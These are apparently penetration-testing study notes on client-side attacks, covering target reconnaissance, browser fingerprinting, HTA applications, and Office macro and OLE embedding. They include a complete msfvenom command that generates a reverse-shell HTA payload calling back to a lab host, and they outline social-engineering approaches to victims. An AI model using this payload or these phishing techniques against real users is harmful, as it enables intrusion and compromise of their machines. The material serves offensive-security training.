* Client-side attack vectors are especially insidious as they exploit **weaknesses in client software**, such as a browser, as opposed to exploiting server software. + **human interaction**

## Passive Client Information Gathering

* You need to figure out the underlying OS and client software version. For Example – Windows 7 and Mozilla Firefox 48.01 by googling and stuff.

## Active Client Information Gathering

* By contrast, active client information gathering techniques make direct contact with the target machine or its users.
* This could involve placing a phone call to a user in an attempt to extract useful information or sending a targeted email to the victim hoping for a click on a link that will enumerate the target’s operating system version, browser version, and installed extensions.

## Social Engineering and Client-Side Attacks

* Browser fingerprint can be used. [https://github.com/Valve/fingerprintjs2/archive/mas ter.zip](https://github.com/Valve/fingerprintjs2/archive/mas%20ter.zip)
* <https://developers.whatismybrowser.com/useragents/parse/#parse-useragent> website to tell the exact version of OS and browser.

## Leveraging HTML Applications

* If a file is created with the extension of .hta instead of .html, Internet Explorer will automatically interpret it as a HTML Application and offer the ability to execute it using the **mshta.exe** program.
* sudo msfvenom -p windows/shell\_reverse\_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta

## Exploiting Microsoft Office

### Microsoft Word Macro

* Read docs OSCP

### Object Linking and Embedding

* Another popular client-side attack against Microsoft Office abuses Dynamic Data Exchange (DDE) to execute arbitrary applications from within Office documents, but this has been patched since December of 2017.
* However, we can still leverage Object Linking and Embedding (OLE) to abuse Microsoft Office’s document-embedding feature.
* In this attack scenario, we are going to embed a Windows batch file inside a Microsoft Word document.